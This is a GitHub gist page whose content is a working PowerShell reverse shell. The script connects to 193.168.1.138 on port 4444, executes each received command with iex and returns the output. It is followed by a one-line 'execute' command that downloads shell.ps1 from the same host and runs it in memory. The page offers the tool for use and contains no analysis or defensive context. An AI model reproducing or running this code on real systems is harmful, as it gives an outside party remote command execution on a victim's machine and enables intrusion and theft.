Skip to content

Instantly share code, notes, and snippets.

@11philip22
Last active July 20, 2019 00:02
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 11philip22/ff9a1279708f90c3166f04021624834c to your computer and use it in GitHub Desktop.
Save 11philip22/ff9a1279708f90c3166f04021624834c to your computer and use it in GitHub Desktop.
$lhost="193.168.1.138";
$lport=4444;
$MAXCMDLENGTH=65535;
$client = New-Object System.Net.Sockets.TCPClient($lhost, $lport);
$stream = $client.GetStream();
$bytes = (New-Object byte[] $MAXCMDLENGTH);
$out = ([text.encoding]::ASCII).GetBytes("PS $($pwd.Path)> ");
$stream.Write($out, 0, $out.Length);
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$in = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
try {
$out = (iex $in 2>&1 | Out-String);
}
catch {
$out = ($_ | Out-String);
}
$out = "$($out)PS $($pwd.Path)> ";
$out = ([Text.Encoding]::ASCII).GetBytes($out);
$stream.Write($out, 0, $out.Length);
$stream.Flush();
}
$client.Close();

Windows reversed shell

execute

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://193.168.1.138/shell.ps1')"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment